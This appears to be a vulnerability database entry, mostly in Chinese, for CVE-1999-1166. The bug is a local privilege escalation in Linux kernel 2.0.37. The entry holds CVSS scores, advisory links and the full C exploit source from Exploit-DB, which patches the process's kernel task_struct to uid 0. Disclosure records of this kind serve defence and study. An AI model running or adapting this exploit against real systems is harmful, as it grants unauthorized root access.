CVE-1999-1166
CVSS7.2
发布时间 :1999-07-11 00:00:00
修订时间 :2008-09-05 16:18:52
NMCOES    

[原文]Linux 2.0.37 does not properly encode the Custom segment limit, which allows local users to gain root privileges by accessing and modifying kernel memory.


[CNNVD]Linux段限制漏洞(CNNVD-199907-014)

        Linux 2.0.37版本存在漏洞。Custom段限制不能被正确编码,本地用户可以通过访问并且修改核心内存来获得根特权。

- CVSS (基础分值)

CVSS分值: 7.2 [严重(HIGH)]
机密性影响: COMPLETE [完全的信息泄露导致所有系统文件暴露]
完整性影响: COMPLETE [系统完整性可被完全破坏]
可用性影响: COMPLETE [可能导致系统完全宕机]
攻击复杂度: LOW [漏洞利用没有访问限制 ]
攻击向量: LOCAL [漏洞利用需要具有物理访问权限或本地帐户]
身份认证: NONE [漏洞利用无需身份认证]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-1999-1166
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-1999-1166
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-199907-014
(官方数据源) CNNVD

- 其它链接及资源

http://www.securityfocus.com/bid/523
(VENDOR_ADVISORY)  BID  523
http://www.securityfocus.com/archive/1/18156
(VENDOR_ADVISORY)  BUGTRAQ  19990711 Linux 2.0.37 segment limit bug

- 漏洞信息

Linux段限制漏洞
高危 输入验证
1999-07-11 00:00:00 2005-10-20 00:00:00
本地  
        Linux 2.0.37版本存在漏洞。Custom段限制不能被正确编码,本地用户可以通过访问并且修改核心内存来获得根特权。

- 公告与补丁

        Earlier linux kernels were not vulnerable (pre 2.0.37) and later versions were fixed.

- 漏洞信息 (19419)

Linux kernel 2.0.37 Segment Limit Vulnerability (EDBID:19419)
linux local
1999-07-13 Verified
0 Solar
N/A [点击下载]
source: http://www.securityfocus.com/bid/523/info

This vulnerability has to do with the division of the address space between a user process and the kernel. Because of a bug, if you select a non-standard memory configuration, sometimes user level processes may be given access upto 252Mb of memory that are really part of the kernel. This allows the process to first search for its memory descriptor and then extend it to cover the rest of the kernel memory. It can then search for a task_struct and modify it so its uid is zero (root). This vulnerability is very obscure, only works on that version of linux, and only if you select a non-standard memory configuration.


The exploit (local root, can be extended to also reset securelevel;
will only compile with libc 5, you'd have to rip task_struct out of
<linux/sched.h> for compiling with glibc):

#define __KERNEL__
#include <linux/sched.h>
#undef __KERNEL__
#include <unistd.h>
#include <grp.h>
#include <stdio.h>
#include <signal.h>
#include <sys/resource.h>

void die1()
{
        puts("\nFailed: probably not vulnerable");
        exit(1);
}

void die2()
{
        puts("\nVulnerable, but failed to exploit");
        exit(1);
}

int main()
{
        int *sp = (int *)&sp;
        int *d = sp;
        struct task_struct *task = (struct task_struct *)sp;
        int pid, uid;
        struct rlimit old, new;

        setbuf(stdout, NULL);
        printf("Searching for the descriptor... ");

        signal(SIGSEGV, die1);

        while ((d[0] & 0xFFF0FFFF) != 0x00C0FB00 &&
                (d[2] & 0xFFF0FFFF) != 0x00C0F300) d++;

        signal(SIGSEGV, die2);

        printf("found at %p\nExtending its limit... ", d + 2);

        d[2] |= 0xF0000;

        printf("done\nSearching for task_struct... ");

        pid = getpid();
        uid = getuid();

        if (getrlimit(RLIMIT_FSIZE, &old)) {
                perror("getrlimit");
                return 1;
        }

 search:
        new = old; new.rlim_cur--;
        if (setrlimit(RLIMIT_FSIZE, &new))
                new.rlim_cur = old.rlim_cur;

        do {
                ((int *)task)++;
        } while (task->pid != pid || task->uid != uid);

        if (task->rlim[RLIMIT_FSIZE].rlim_cur != new.rlim_cur) goto search;

        if (setrlimit(RLIMIT_FSIZE, &old)) {
                perror("setrlimit");
                return 1;
        }

        if (task->rlim[RLIMIT_FSIZE].rlim_cur != old.rlim_cur) goto search;

        printf("found at %p\nPatching the UID... ", task);

        task->uid = 0;
        setuid(0);
        setgid(0);
        setgroups(0, NULL);

        puts("done");

        execl("/usr/bin/id", "id", NULL);
        return 1;
}
		

- 漏洞信息

12954
Linux Kernel Custom Segment Limit Encoding Privilege Escalation
Local Access Required Input Manipulation
Loss of Integrity Solution Unknown
Exploit Public Uncoordinated Disclosure

- 漏洞描述

- 时间线

1999-07-11 Unknow
1999-07-11 Unknow

- 解决方案

Products

Unknown or Incomplete

- 相关参考

- 漏洞作者

Unknown or Incomplete

- 漏洞信息

Linux Segment Limit Vulnerability
Input Validation Error 523
No Yes
1999-07-13 12:00:00 2009-07-11 12:56:00
First posted to BugTraq by solar <solar@FALSE.COM> on July 13, 1999.

- 受影响的程序版本

Linux kernel 2.0.37
Linux kernel 2.0

- 不受影响的程序版本

Linux kernel 2.0

- 漏洞讨论

This vulnerability has to do with the division of the address space between a user process and the kernel. Because of a bug, if you select a non-standard memory configuration, sometimes user level processes may be given access upto 252Mb of memory that are really part of the kernel. This allows the process to first search for its memory descriptor and then extend it to cover the rest of the kernel memory. It can then search for a task_struct and modify it so its uid is zero (root). This vulnerability is very obscure, only works on that version of linux, and only if you select a non-standard memory configuration.

- 漏洞利用

x

- 解决方案

Earlier linux kernels were not vulnerable (pre 2.0.37) and later versions were fixed.

- 相关参考

     

     

    关于SCAP中文社区

    SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

    版权声明

    CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站